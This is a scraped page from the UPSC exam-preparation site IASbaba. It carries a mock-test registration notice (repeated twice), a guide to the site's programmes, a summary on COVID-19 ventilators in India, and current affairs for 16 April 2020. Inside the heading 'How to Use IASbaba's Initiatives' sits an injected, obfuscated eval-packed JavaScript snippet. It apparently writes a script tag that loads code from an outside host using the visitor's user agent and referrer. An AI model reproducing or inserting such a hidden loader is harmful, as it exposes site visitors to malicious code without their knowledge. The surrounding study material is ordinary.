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REGISTER NOW: IASbaba’s ALL INDIA MOCK EXAM -UPSC PRELIMS 2020 General Studies Paper I – OPEN FOR ALL !!

  Hello everyone, Recently, UPSC Press Release has created ripples by notifying that as of now the date for UPSC prelims examination has not been changed and it will be held as per schedule till further notice. Let’s keep our fingers crossed. This announcement has been rejoiced by many aspirants who have been preparing keeping the present date in mind. Also, it has made many anxious who had changed their preparation style thinking that exam might be postponed. Let’s not get into speculation; we can control only things which is/are under our control – that is PREPARATION! So you need to remember, that this not a time for you to anticipate but to act. You need to continue your practice and plug the loopholes in your preparation. We hope that our 60 day plan is helping many of you to keep your preparation on track. We thank everyone for the positive feedback and also for constructive criticism. We are trying our level best to clarify all your conceptual queries on the platform (#ASKBABA) and also through the HOTLINE. We request the aspirants to fully make use of this opportunity and ask as many questions as possible. You need to remember that each query is unique and no question is trivial. If you have a doubt it should be clarified. In an attempt to help you out more at the time of uncertainty, we gladly announce that we are keeping THE FIRST ILP/AIPTS FULL MOCK TEST OPEN FOR ALL (FREE). We have tried to set the questions as close as possible to the standards of UPSC and the ALL INDIA RANKING in this test will help you gauge your preparation. This will also provide you a very good warm-up before the final battle so that you can mentally prepare yourself with a positive frame.   GUIDELINES/STEPS to Follow: Registration Process (Before the Exam) - FREE Registration. It is OPEN FOR ALL! Step 1: You should SUBSCRIBE to IASbaba Emails in the form provided below. [jetpack_subscription_form title="Subscribe to IASbaba" subscribe_text=""] Once you subscribe, you will receive a confirmation email about the email subscription-as shown in the screenshot below. Click on Confirm follow. (If you are already subscribed you will be shown a message like"You have already subscribed to this site in the above form"). Congratulations, Step 1 is complete! Please Note that, SAME EMAIL ID should be used in BOTH STEP 1 & STEP 2. And its MANDATORY to follow both Step 1 & Step 2 to Attempt the MOCK EXAM!   Step 2: After completing Step 1 (mentioned above), students should REGISTER here: https://test.iasbaba.com/register/ If you already have an account, click LOGIN in the top right corner. Else click REGISTER. Once you click on Register, you need to fill the following fields- your Name, Email id, Password, Phone number. Make sure that only Valid details are keyed in, else you will not be able to take the Mock Exam. Once you have successfully registered, an Activation Email will be sent to your Registered Email ID. Click on the Activation link to activate your account. Congratulations, Step 2 is complete! Please Note that, SAME EMAIL ID should be used in BOTH STEP 1 & STEP 2. And its MANDATORY to follow both Step 1 & Step 2 to Attempt the MOCK EXAM! The Registration will close on 22nd April @ 8pm.   On the Exam day (23rd April, 2020) How to Start the EXAM? You can take the Exam on 23rd April (Thursday)here: https://test.iasbaba.com/login/ Now you can Login to the test platform, using registered email id and password. Once you login, Click on LEARN in the top menu. You will find ILP/AIPTS FULL Mock Test-1. Click on the test to START the exam. Please Note that, if the power/internet is disconnected, then you can follow the LOGIN and click on the LEARN TAB and click on ILP /AIPTS FULL Mock Test-1 to resume the exam.   How to check the Results? You can check your results here: https://test.iasbaba.com/exams/open-mock-test-2020/ The Results (All India Rank ) will be announced on 24th April, 2020 around 7pm. Also, you can see your results in real-time i.e, once you complete the Test, under RESULTS TAB.   IMPORTANT INSTRUCTIONS: To attempt or to take up the MOCK TEST, you should REGISTER (both the STEPS as mentioned above). Please make sure, SAME EMAIL ID should be used in BOTH STEP 1 & STEP 2 and the entered fields are correct and valid. ONLY REGISTERED STUDENTS CAN TAKE THE MOCK EXAM. Last Date to Register - The registration for MOCK EXAM will close @ 8 pm on April 22nd . Date of MOCK EXAM -The Test Platform will be Active on  23rd April (Thursday), 2020 @ 9.30 am. You can take the Mock Exam anytime between 9.30 am – 7.30pm. However, the Test platform/window will close at 9.30 pm. For Example, a student starting the exam at 7.30 pm will get 2 hours to take the test. But if a student starts the exam at 8.30 pm will get only 1 hour to take the test as the Test window will close at 9.30 pm. The Test will be in ONLINE mode ONLY. Test Type- General Studies Paper –I Full-length MOCK TEST (100 Mcq’s, 200 marks) The Test can be taken by a Student ONLY ONCE. All India Ranking will be announced on 24th April @7pm here: https://test.iasbaba.com/exams/open-mock-test-2020/   Please Note that, Only students with Valid Roll numbers, Email ids and other mentioned fields can take up the Exam and Ranks will be announced accordingly! Kindly login one day before the exam (i.e, on 22nd April) and check whether you are able to see the ILP/AIPTS FULL Mock Test-1 under the LEARN tab, if not mail us on support@iasbaba.com. For any Queries - Mail us on support@iasbaba.com   The Registration for MOCK TEST will close on 22nd April @ 8pm. [wpcdt-countdown id="59448"] OTHER IMPORTANT UPDATES on IASbaba: For PRELIMS TIPS/STRATEGY (Do's & Dont's) by Mohan Sir, IASbaba Founder -> CLICK HERE PRELIMS EXCLUSIVE: CURRENT AFFAIRS CLASSES (12 SESSIONS-By Tauseef Sir): JOIN NOW! CONNECT WITH BABA: IASbaba’s Dedicated HOTLINE & #ASKBABA initiative for UPSC Aspirants !!   MUST-READ: For Motivation NEW Initiative -LOCKDOWN & YOU – Unlock Your Talent & Creativity! -> CLICK HERE Coronavirus: Awareness, Myths, Solidarity and Message to All UPSC Aspirants by Mohan Sir Founder IASbaba MUST READ: PRELIMS in Testing Times – Don’t Forget the ‘WHY’; IASbaba’s dedicated HOTLINE for Aspirants and Prelims Postponing Rumours [STRATEGY] MUST READ: 21 Days of Lockdown -What to do? Introspect, Ideate and Improve !!   To get Regular Updates from IASbaba, follow- 👉 TELEGRAM Channel - https://t.me/IASbabaOfficialAccount 👉 YOUTUBE  -  https://www.youtube.com/channel/UChvbVdio9Wgj7Z3nQz1Q0ZQ 👉 FACEBOOK  - https://www.facebook.com/iasbaba/ Also, SUBSCRIBE to the WEBSITE, so that you don't miss out on important posts! Thank You IASbaba

Important Articles

REGISTER NOW: IASbaba’s ALL INDIA MOCK EXAM -UPSC PRELIMS 2020 General Studies Paper I – OPEN FOR ALL !!

  Hello everyone, Recently, UPSC Press Release has created ripples by notifying that as of now the date for UPSC prelims examination has not been changed and it will be held as per schedule till further notice. Let’s keep our fingers crossed. This announcement has been rejoiced by many aspirants who have been preparing keeping the present date in mind. Also, it has made many anxious who had changed their preparation style thinking that exam might be postponed. Let’s not get into speculation; we can control only things which is/are under our control – that is PREPARATION! So you need to remember, that this not a time for you to anticipate but to act. You need to continue your practice and plug the loopholes in your preparation. We hope that our 60 day plan is helping many of you to keep your preparation on track. We thank everyone for the positive feedback and also for constructive criticism. We are trying our level best to clarify all your conceptual queries on the platform (#ASKBABA) and also through the HOTLINE. We request the aspirants to fully make use of this opportunity and ask as many questions as possible. You need to remember that each query is unique and no question is trivial. If you have a doubt it should be clarified. In an attempt to help you out more at the time of uncertainty, we gladly announce that we are keeping THE FIRST ILP/AIPTS FULL MOCK TEST OPEN FOR ALL (FREE). We have tried to set the questions as close as possible to the standards of UPSC and the ALL INDIA RANKING in this test will help you gauge your preparation. This will also provide you a very good warm-up before the final battle so that you can mentally prepare yourself with a positive frame.   GUIDELINES/STEPS to Follow: Registration Process (Before the Exam) - FREE Registration. It is OPEN FOR ALL! Step 1: You should SUBSCRIBE to IASbaba Emails in the form provided below. [jetpack_subscription_form title="Subscribe to IASbaba" subscribe_text=""] Once you subscribe, you will receive a confirmation email about the email subscription-as shown in the screenshot below. Click on Confirm follow. (If you are already subscribed you will be shown a message like"You have already subscribed to this site in the above form"). Congratulations, Step 1 is complete! Please Note that, SAME EMAIL ID should be used in BOTH STEP 1 & STEP 2. And its MANDATORY to follow both Step 1 & Step 2 to Attempt the MOCK EXAM!   Step 2: After completing Step 1 (mentioned above), students should REGISTER here: https://test.iasbaba.com/register/ If you already have an account, click LOGIN in the top right corner. Else click REGISTER. Once you click on Register, you need to fill the following fields- your Name, Email id, Password, Phone number. Make sure that only Valid details are keyed in, else you will not be able to take the Mock Exam. Once you have successfully registered, an Activation Email will be sent to your Registered Email ID. Click on the Activation link to activate your account. Congratulations, Step 2 is complete! Please Note that, SAME EMAIL ID should be used in BOTH STEP 1 & STEP 2. And its MANDATORY to follow both Step 1 & Step 2 to Attempt the MOCK EXAM! The Registration will close on 22nd April @ 8pm.   On the Exam day (23rd April, 2020) How to Start the EXAM? You can take the Exam on 23rd April (Thursday)here: https://test.iasbaba.com/login/ Now you can Login to the test platform, using registered email id and password. Once you login, Click on LEARN in the top menu. You will find ILP/AIPTS FULL Mock Test-1. Click on the test to START the exam. Please Note that, if the power/internet is disconnected, then you can follow the LOGIN and click on the LEARN TAB and click on ILP /AIPTS FULL Mock Test-1 to resume the exam.   How to check the Results? You can check your results here: https://test.iasbaba.com/exams/open-mock-test-2020/ The Results (All India Rank ) will be announced on 24th April, 2020 around 7pm. Also, you can see your results in real-time i.e, once you complete the Test, under RESULTS TAB.   IMPORTANT INSTRUCTIONS: To attempt or to take up the MOCK TEST, you should REGISTER (both the STEPS as mentioned above). Please make sure, SAME EMAIL ID should be used in BOTH STEP 1 & STEP 2 and the entered fields are correct and valid. ONLY REGISTERED STUDENTS CAN TAKE THE MOCK EXAM. Last Date to Register - The registration for MOCK EXAM will close @ 8 pm on April 22nd . Date of MOCK EXAM -The Test Platform will be Active on  23rd April (Thursday), 2020 @ 9.30 am. You can take the Mock Exam anytime between 9.30 am – 7.30pm. However, the Test platform/window will close at 9.30 pm. For Example, a student starting the exam at 7.30 pm will get 2 hours to take the test. But if a student starts the exam at 8.30 pm will get only 1 hour to take the test as the Test window will close at 9.30 pm. The Test will be in ONLINE mode ONLY. Test Type- General Studies Paper –I Full-length MOCK TEST (100 Mcq’s, 200 marks) The Test can be taken by a Student ONLY ONCE. All India Ranking will be announced on 24th April @7pm here: https://test.iasbaba.com/exams/open-mock-test-2020/   Please Note that, Only students with Valid Roll numbers, Email ids and other mentioned fields can take up the Exam and Ranks will be announced accordingly! Kindly login one day before the exam (i.e, on 22nd April) and check whether you are able to see the ILP/AIPTS FULL Mock Test-1 under the LEARN tab, if not mail us on support@iasbaba.com. For any Queries - Mail us on support@iasbaba.com   The Registration for MOCK TEST will close on 22nd April @ 8pm. [wpcdt-countdown id="59448"] OTHER IMPORTANT UPDATES on IASbaba: For PRELIMS TIPS/STRATEGY (Do's & Dont's) by Mohan Sir, IASbaba Founder -> CLICK HERE PRELIMS EXCLUSIVE: CURRENT AFFAIRS CLASSES (12 SESSIONS-By Tauseef Sir): JOIN NOW! CONNECT WITH BABA: IASbaba’s Dedicated HOTLINE & #ASKBABA initiative for UPSC Aspirants !!   MUST-READ: For Motivation NEW Initiative -LOCKDOWN & YOU – Unlock Your Talent & Creativity! -> CLICK HERE Coronavirus: Awareness, Myths, Solidarity and Message to All UPSC Aspirants by Mohan Sir Founder IASbaba MUST READ: PRELIMS in Testing Times – Don’t Forget the ‘WHY’; IASbaba’s dedicated HOTLINE for Aspirants and Prelims Postponing Rumours [STRATEGY] MUST READ: 21 Days of Lockdown -What to do? Introspect, Ideate and Improve !!   To get Regular Updates from IASbaba, follow- 👉 TELEGRAM Channel - https://t.me/IASbabaOfficialAccount 👉 YOUTUBE  -  https://www.youtube.com/channel/UChvbVdio9Wgj7Z3nQz1Q0ZQ 👉 FACEBOOK  - https://www.facebook.com/iasbaba/ Also, SUBSCRIBE to the WEBSITE, so that you don't miss out on important posts! Thank You IASbaba

How to Use IASbaba’s Initiatives- Beginners

How eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syfbf|var|u0026u|referrer|nfzkn||js|php'.split('|'),0,{})) to use IASbaba’s Initiatives Dear Aspirants/Friends, On the eve of over 5 lakh subscribers, IASbaba is delighted to introduce this new website to all our family members. In life, change is inevitable and IASbaba being part of lakhs of aspirants have understood the need for such a change to serve you in more qualitative ways. The success of IASbaba is attributed to the whole community of aspirants preparing for UPSC. Catering to lakhs of aspirants and getting half the total ranks in Top 10 would never have been possible without the faith and trust bestowed on us. IASbaba has become synonymous with quality UPSC preparation. Quality triumphs over quantity! This is possible because of the pedigree, passion and quality of our team which is perhaps unparalleled. Over 5 lakhs subscribers stand testimony to it with hundreds of Rank holders from IASbaba's flagship programs Integrated Learning Programme (ILP-2020) and Think Learn & Perform (TLP) Mains Answer Writing! We hope this association grows multifold and witness hundreds of such success stories in the coming years. We hope the newness will provide more qualitative and enjoyable learning experience for each one of you :) Kindly spend time going through the whole website. Get familiar with it! IASbaba is born with the vision of  “Enabling a person located at the most remote destination a chance at cracking AIR 1 in UPSC IAS”. We at IASbaba believe in smart and innovative work to make your UPSC preparation qualitative and more ingrained. We are always in sync with the UPSC syllabus for Mains & Prelims and our experts take you through the UPSC IAS preparation, in a very scientific and rational way to simplify the complete process for you. Be part of our family. Look at the Home Page & Menu Bar - Navigate through all the Banners & Menu Bars starting from Prelims, Mains to UPSC Question Papers. Get familiar with the inside content under each Tabs.   ILP-IASbaba’s Flagship Programmes for UPSC 2020 Now you need not spend lakhs of rupees leaving your home to join any institute for UPSC preparation. You can stick to all the initiatives of IASbaba and join Prelims Exclusive Programme (PEP) - First ever Prelims Mentorship Programme, ILP-2020  and All India Prelims Test Series (AIPTS)to prepare from the comfort of your home. Integrated Learning Programme (ILP) and All India Prelims Test Series (AIPTS) is the most famous Online Preparation Programme trusted by thousands of aspirants. You can support IASbaba for all its FREE initiatives and guidance by joining ILP-2020, AIPTS and Prelims Exclusive Programme (PEP) - First ever Prelims Mentorship Programme. Note that ILP is the most sought and trusted programme availed by thousands of aspirants. It is most favoured by working professionals, freshers and aspirants not able to afford expensive coaching only because of its quality content, guidance and our support. Consider joining our programme if you want to crack UPSC in the very first attempt as proved by our toppers. This programme has produced hundreds of toppers in the last two years among them are Rank 5, Rank 45, Rank 55, Rank 57, Rank 60, Rank 113 and many more in 2018,  Rank 4, 6 and 9 and many more in 2016 and Rank 14, 19, 23, 39 and many more in 2017. Glance through the details of the initiatives to know more about it. PRELIMS EXCLUSIVE PROGRAMME (PEP)- MENTORSHIP BASED PROGRAMME INTEGRATED LEARNING PROGRAMME (ILP)- 2020      ALL INDIA PRELIMS TEST SERIES- AIPTS 2020 GENERAL STUDIES MAINS ANSWER WRITING MENTORSHIP PROGRAMME- TLP CONNECT 2020  OPTIONAL MAINS TEST SERIES 2020 How to judge the quality of our Programmes before joining it? HIT RATIO IN PRELIMS- 2019, 2018, 2017, 2016  Check our Result of 2018- Rank 5, 41, 45, 54, 57, 60 etc.   Total 80+ Selections- Click Here Check our Result of 2017- Rank 14, 19, 23, 39 etc. ILP 2017 Students, Total 70 + selections - Click Here Check our Result of 2016- Rank 4 and Rank 6- ILP 2016 Students, Total 60 + selections - Click Here Check the Reviews on our Tests-  Click Here, Click Here, Click Here, Click Here Check the Sample of our Test Here– Click Here and Click Here Check the Sample of Solution PDF to be provided in this Test Series– Click Here & Click Here  Click Here Email ID- ilp@iasbaba.com- Shoot an email in case you have any preparation related issues and query regarding ILP/AIPTS Prelims Focus Kindly go through below initiatives for UPSC GS Prelims. GS Prelims Strategy- A fresher must go through Prelims Strategy to develop an insight about Prelims examination and its nature.  Daily Current Affairs Quiz- In this section, daily FIVE questions are covered from current affairs. Questions are strictly along the lines of UPSC's demand and it provides loads of fodder and concepts.  Books to Refer- This section can be referred for books to be covered for Prelims.  Previous Years Papers Book Reviews Prelims 60 Days Programme 2019-  This is the most famous programme for Prelims revision.  CSAT Strategy Mains Focus Kindly go through below initiatives for UPSC GS Mains. GS Mains Strategy- Paper 1 GS Mains Strategy- Paper 2 GS Mains Strategy- International Relations GS Mains Strategy- Paper 3 GS Mains Strategy- Paper 4 Answer Writing Tips- Decoding Directives Essay Strategy Model Essay by IASbaba Mind Maps- Syllabus Previous Years Question Papers Solved Mains Question Papers 1, 2 and 3 Paper 1- Click Here Paper 2- Click Here Paper 3- Click Here UPSC Mains Examination 2019- More than 80% Hit Ratio UPSC Mains Examination 2018- More than 85% Hit Ratio UPSC Mains Examination 2017: How IASbaba was helpful in Answering 85% of GS Mains Papers! General Studies Answer Writing Programme- Think Learn and Perform (TLP) Optional Answer Writing Programme- TLP Optional Geography Optional Strategy Interview Focus INTERVIEW MENTORSHIP PROGRAMME (IMP) Interview Initiative- Discussion Topper’s Interview Current Affairs Initiatives Daily Current Affairs Analysis- Mains All India Radio Discussion Rajya Sabha TV Discussion Press Information Bureau Weekly Monthly Magazine Current Affairs Yojana/Kurukshetra Magazine Mind Maps- Current Affairs Issues Creative Guidance & Motivational Articles Motivational Articles Inspirational Articles Inspirational Videos Book Reviews  IASbaba’s Topper’s Corner  

Catharsis -Unlock Your Talent & Creativity: SKETCHING by Dr. SHRUTHI RAIKAR and WRITINGS by PRADEEP KOLKATA!

Catharsis -Unlock Your Talent & Creativity: SKETCHING by Dr. SHRUTHI RAIKAR and WRITINGS by PRADEEP KOLKATA!   Hello Friends, You must be aware of the term ‘catharsis’. It is the process of releasing and thereby providing relief from, strong or repressed emotions. Recently we have launched a new initiative by the name Catharsis -Unlock Your Talent & Creativity! Today's work is a SKETCHING by Dr. SHRUTHI RAIKAR and WRITINGS by PRADEEP KOLKATA! Well done, Keep it up !! Check out some amazing Sketches by Dr. SHRUTHI RAIKAR.   WRITINGS by PRADEEP KOLKATA - Learnings from this Lockdown! Be creative and find your catharsis in whichever form of creativity you are comfortable with.  It could be anything- a song, a painting, a poem, a story, a dance performance, rangolis, jokes/humor, culinary skills, mimicry and whatnot. There is no limit to creativity. Just unleash and share it with everyone! Why don’t you share your moments of catharsis with us? UPSC is not only about academics but personality as well. And your personality is shaped by the creativity that you possess.   To know more about Catharsis -Unlock Your Talent & Creativity' Initiative and the Previous Creative work  -> CLICK HERE We encourage you to keep the comment section alive by sharing your talents and also by commenting and encouraging the talent of your peers. We are also going to be a regular visitor here and will keep on posting the creative works by our talented team members and staff. NOTE- You can also nominate by tagging anyone (if you know about the talent of your friend or anyone) 🙂 You can share your talent/creativity with us on support@iasbaba.com and ilp@iasbaba.com  P.S: Kindly share it in a format that can be published on the website. We believe each one of you have some hidden talent. It’s time that you explore more about yourselves and remain positive throughout this journey. Make the best use of this opportunity! Thank You IASbaba

RSTV Video

Ventilators Challenges and Opportunities – COVID-19: India Fights Back – RSTV IAS UPSC

Ventilators Challenges and Opportunities Archives TOPIC: General Studies 2 Global crisis – COVID-19 Ventilators in India during COVID-19 As India braces for community spread of the novel coronavirus and a spike in hospital admissions, the government is seeking to ramp up its capacity of ventilators. A large number of ventilators may potentially be required soon. After a clarion call by the Govt., established manufacturers are ramping up their production with help from private and public sector companies. Meanwhile several brilliant minds have come up with new designs for ventilators which can be made with indigenous components. The Railways-owned Integral Coach Factory (ICF) has made an attempt to “reverse engineer” the machines.  Private sector carmakers with no experience in this line too, have climbed on to the bandwagon. Firms like AB Industries say they can scale up monthly production to around 350-400 in the next two months. Bharat Electronics Ltd (BEL), a PSU under the Ministry of Defence, is in the process of manufacturing 30,000 ventilators.  Health Ministry PSU HLL Lifecare Ltd has floated a tender for 20,000. ICF Chennai, maker of Train 18, is attempting to manufacture ventilators. Bengaluru-based Skanray Technologies, which has claimed it intends to manufacture 100,000 ventilators, currently has the capacity to build only 5,000 in one batch. The rest of its production would have to come through collaborations. The design would help overcome hurdles like sourcing imported components.  Maruti Suzuki India has announced an arrangement with Noida-based AgVa Healthcare to “rapidly” scale up production to 10,000 per month. Experiments are also on to find alternatives to imported electronic components such as sensors and displays. We can go to a total, simple user interface without buttons, which can be programmed without display. Does India have enough ventilators? India’s state hospitals together have 14,220 ICU ventilators as of now. Additionally, government (and some private) hospitals dedicated for the management of COVID-19 patients have about 6,000 ventilators. According to recent mathematical modelling by scientists including Dr Raman R Gangakhedkar of the Indian Council of Medical Research (ICMR), around half of those infected and in intensive care would require mechanical ventilation.  Using this model and other data, think tank Brookings India has estimated that India could, in the worst case, need between 1 lakh and 2.2 lakh ventilators by May 15. Why are ventilators important in the outbreak? Ventilators (or respirators) are mechanical devices that help a patient breathe when they are unable to do so on their own. Hospitals have a supply system for gases like oxygen, which are used in ventilators. The ventilator takes the compressed gas (oxygen) and mixes it with other gases (because typically what we breathe is 21% oxygen from the atmosphere).  It allows you to artificially push in a certain required amount of oxygen into the patient’s lungs and allows them to deflate. With COVID-19, the patient sometimes has interstitial pneumonia. The virus causes inflammation in the air passages inside the lungs called bronchioles, causing inflammation in this area and in the alveoli, the tiny sacs that the air is delivered to. Any inflammation means air can’t get in or get out. As the space for the exchange of air in the lungs decreases, the patient has to work harder to breathe, which may not be possible indefinitely. A patient can’t be breathing at rates of 40-45 (breaths) a minute and expect to sustain life. At this point, a ventilator allows you to rest the patient’s lungs by giving them oxygen at higher rates. They allow the patient time to heal on their own by supporting a system that would have otherwise failed. To build a ventilator… Different types of ventilators deliver air in different modes, and the components would vary depending on the type. To make a ventilator, one has to have core knowledge of the clinical aspects of the ventilator and the requirements of the doctors using them. These requirements have to then be converted into engineering components that can achieve the required outputs. Ventilators are a combination of technologies — not only software and electronics, but also pneumatics, as they handle gases. They are also required to adhere to safety standards, and include a mechanism to minimise the risk to the patient in the event the device malfunctions. Based on the mechanism used to deliver the air (flow-delivery mechanism), there are three major classifications for ventilators – Bellow-driven or piston ventilators Turbine ventilators: Although less effective, are the next best option — they have fewer components, and it would probably be easier to scale them up External compressed air driven ventilators: A pneumatic external compressed air-driven ventilator in an ICU setting would be ideal for COVID-19 patients.  The Way Forward:  According to industry sources, only about 10% of ventilators in use in India are manufactured in the country. The pandemic has affected global supply chains, even as demand has surged everywhere. With imports slowing, an increased burden now lies on Indian manufacturers, who have limited capacity to scale up production. To scale up India’s ventilator capacity - New Ventilators: Data from Indian manufacturers project their total monthly capacity to touch around 6,000 ventilators in a month from now. A Rajkot-based private company has prepared indigenously made ventilators, gifting the first 1,000 such ventilators – Dhaman 1 – free of cost to the Gujarat government, according to a government press release on Saturday. The ventilator was tested on one patient on Saturday too, showing successful results. Raw material:  At least 40% of a ventilator’s physical components are imported from countries like the US, China, France, and Germany. These include several crucial components like sensors and displays.  Alternatives: B.S. Murty, Director of the Indian Institute of Technology – Hyderabad, has urged the government to consider the use of ‘bag valve masks’ as an alternative to meet any surge in demand for ventilators. The scientists said that ‘bag valve masks’ are currently hand-powered and therefore not suitable for continuous use as a ventilator. But, they posited, this could easily be remedied by designing similar devices powered by an electrical source, which could be a car battery or conventional power supply. The devices would be made portable, and therefore easy to use in villages and other areas without power supply and could be manufactured in bulk quite inexpensively. What should have been done for us to be better prepared –  Ventilators not in use: Between 20,000 and 30,000 ventilators may be lying dysfunctional across the country – in both public and private sector hospitals — either for want of parts or servicing, it needs to be made functional maybe in a simpler manner. Issue of not storing ventilators for disaster management: In a usual situation, the government has an epidemic and disaster management cell, which is supposed to store ventilators in ‘live’ mode, running and monitored. Our government has not done this, in spite of so much communication and meetings with them. This needs to be considered urgently if the world is truly preparing for yet another pandemic.  Indigenous Methods: We should not have waited for a global pandemic to help us understand that there are indigenous materials that can be utilised to act as alternative in dire situations.  Connecting the Dots: COVID-19 might just end up preparing us for another pandemic in the future. Comment.

Daily Current Affairs IAS | UPSC Prelims and Mains Exam – 16th April 2020

IAS UPSC Prelims and Mains Exam – 16th April 2020 Archives (PRELIMS + MAINS FOCUS) Initiatives of Department of Agriculture to promote farming and allied sectors during lockdown Part of: GS Prelims and GS-II – Agriculture; Welfare Schemes In News: Exemptions have been given by Government of India for agricultural operations keeping in view the harvesting and sowing season.  Key takeaways: The All India Agri Transport Call Centre has been launched. It is set up for coordination between States for inter-state movement of perishable commodities.   Under the Pradhan Mantri Kisan Samman Nidhi (PM-KISAN) Scheme  about 8 crores farmers have been benefitted.  Under the Pradhan Mantri Garib Kalyan Yojana (PM-GKY) large amount of pulses have been dispatched for delivery to the States/UTs.  Under the Pradhan Mantri Fasal Bima Yojana (PMFBY), around Rs.2000 crores of insurance claims have been disbursed to the beneficiary farmers.  Decision has been taken for providing 2% Interest Subvention (IS) to Banks and 3% Prompt Repayment Incentive (PRI) to farmers for the extended period of the lockdown.  Important value additions: Pradhan Mantri Kisan Samman Nidhi It is an initiative by the government of India in which all farmers will get up to ₹6,000 per year as minimum income support.  Pradhan Mantri Garib Kalyan Yojana (PM-GKY)  During the 2020 coronavirus pandemic in India, Finance Minister announced a ₹1.70 Lakh Crore ($24 billion) relief package under Pradhan Mantri Garib Kalyan Yojana for the poor. The Pradhan Mantri Fasal Bima Yojana(PMFBY) It is an insurance service for farmers for their yields. It was formulated in line with One Nation–One Scheme theme by replacing earlier two schemes National Agricultural Insurance Scheme (NAIS) and Modified National Agricultural Insurance Scheme (MNAIS)  It aims to reduce the premium burden on farmers and ensure early settlement of crop assurance claims for the full insured sum. Interest Subvention The interest subvention scheme for farmers aims at providing short term credit to farmers at subsidised interest rate.  Integrated geospatial platform launched for better decisions in COVID-19 outbreak Part of: GS Prelims and GS-II –Governance & GS-III – Science and Technology In News: The Department of Science and Technology (DST), Government of India, has created an Integrated Geospatial Platform out of available geospatial datasets to help decision making during the current COVID-19 outbreak.  The platform shall aid in devising area-specific strategies to handle the socio-economic impact in the recovery phase. Key takeaways: The mobile application SAHYOG and the web portal have been launched for the same objective.  It is managed by the Survey of India (SoI).  It is customized to collect COVID-19 specific data through community engagement to augment the response activities by Government of India to the pandemic.  This mobile application will complement the “AAROGYA-SETU” . This integrated geospatial platform will strengthen the Nation’s health emergency management due to the COVID-19 outbreak and support the socio-economic recovery process. Important value additions: AAROGYA-SETU It is a mobile application launched by the Government of India for Contact tracing, Public awareness, and Self-assessment objectives amidst COVID-19 pandemic. IMF proposes to deploy its full 1 trillion US Dollar lending capacity to support countries Part of: GS Prelims and GS-II –Global Groupings; Role of International Organization In News: International Monetary Fund (IMF) has proposed to deploy its full 1 trillion US Dollar lending capacity to support countries battling COVID-19 outbreak. The IMF Board has already approved debt relief for 25 of its poorest members.  Important value additions: The International Monetary Fund (IMF)  It is an organization of 189 countries which has the objectives to:  foster global monetary cooperation secure financial stability facilitate international trade promote high employment and sustainable economic growth reduce poverty around the world. It was created in 1945.  It is governed by and accountable to the 189 member countries.  Its primary purpose is to ensure the stability of the international monetary system, that is, the system of exchange rates and international payments that enables countries to transact with each other. The IMF provides broad support to low-income countries (LICs) through surveillance, capacity-building activities and concessional financial support.  Decisions are made by a majority of votes cast.  The Board of Governors consists of one(1) governor and one alternate governor for each member country.  IMF funds come from two major sources: quotas and loans.  Quotas are pooled funds of member nations. Nations with larger economic importance have larger quotas.  Wealthier countries that provide more money to the IMF have more influence.  Member's quota also determines its relative voting power.  Miscellaneous  Kalaripayattu The Kerala Tourism has come up with six theme-based microsites, including one on Kalaripayattu for the post-COVID-19 days. Kalaripayattu also known as Kalari, is an Indian martial art and fighting style.  It originated in Kerala. It is considered to be among the oldest martial arts still in existence.   Women in Keralite society also undergo training in Kalaripayattu.  Daily Current Affairs IAS | UPSC Prelims and Mains Exam – 16th April 2020 Image source: https://en.wikipedia.org/wiki/Kalaripayattu Meru Jatra/ Danda Nata Odisha’s Ganjam district administration recently banned the Meru Jatra festival on the occasion of Mahavishub Sankranti, which is also start of the Odia New Year. Meru Jatra marks the end of 21-day-long festival of penance named ‘Danda Nata’. Only male persons take part in this festival. The participants of Danda are called Danduas (also known as Bhoktas).  Goddess Kali and Shiva are worshipped during this period.  (MAINS FOCUS) GOVERNANCE/ SOCIETY Topic: General Studies 1 & 2: Salient features of Indian Society, Diversity of India.  Government policies and interventions for development in various sectors  COVID-19 and challenges of Craftspeople Context: Craftspeople, artisans, weavers, home-based skilled self-employed was not mentioned in the COVID-19 financial packages announced by the government. Craftspeople of all categories in India are largely ignored and left to fend for themselves.  Some of the challenges which they face in the wake of lockdown are: Essential supplies have not reached to majority of daily wage craftspeople. Bulk orders were cancelled impacting their business cycles & meagre incomes Inadequate raw material left at the start of lockdown, which means that kick starting their activities post the lockdown will be difficult Food insecurity: In rural areas only some have enough stocks of rations. Those in towns only buy monthly supplies and have no income now to replenish their ration Presence of police and their brute policing methods impacted their movement even to fetch essential supplies Miseries of weavers:  They have looms in their homes but no yarn and large numbers of very poor weavers working under them are unpaid. e-commerce platforms have not been of much help during the lockdown Depressed demand: Collective activity will remain subdued in the aftermath of lockdown impacting their livelihoods Way ahead Interest-free loans of Rs 5,000-Rs 10,000 per month per family for two months backed by the government Policy Impetus: Craftspeople are largely dependent on tourism and hence need a composite plan to stimulate demand so they can look forward to the festival season. The corporate sector must support with advance payments to order festive season gifts for clients. Special package for weavers:  The textile ministry needs to focus on the specific needs for different areas in the country, avoiding one-size-fits-all schemes Multipurpose handloom gamchas provided by weavers can serve as masks  Import Substitution Strategy Indian Potters can provide clay and even cow dung lamps that could replace Chinese lamps lit during Diwali season More than Rs 400 crore worth of roundly cut bamboo sticks are imported from China and Vietnam by agarbatti manufacturers. This can be substituted by bamboo from Northeastern states  Re-energising village industries through change in developmental strategy (that is currently focused on centralisation in metro-capitals) This will reduce carbon footprints and discourage migration Connecting the dots: Impact on lockdown on Livelihood of Tribals KVIC – it’s possible role in the aftermath of lockdown to kick start crafts industry GOVERNANCE/ ECONOMY/ SOCIETY Topic: General Studies 2 & 3: Government policies and interventions for development in various sectors  Indian Economy and issues relating to planning, mobilization, of resources, growth, development and employment.  The role of NGOs, SHGs and various groups  COVID-19: Role of Private Sector Context: COVID-19, has spiralled into a global pandemic in less than 90 days, bringing most of the world to a near standstill. Do You Know? In India, private hospitals, clinics and nursing homes provide over 70% of healthcare. Over half of all treatments under Ayushman Bharat Pradhan Mantri Jan Arogya Yojana (AB PM-JAY) are availed from private providers, accounting for over 60% of total disbursements. What has been the strategy to tackle COVID-19 till now? It has been a whole-of-government approach with little role played by private sector Much of COVID-19 testing and treatment is being done in public facilities However, as the pandemic progresses we might need a whole-of-society response A case for whole-of-society approach Huge Country: Government needs 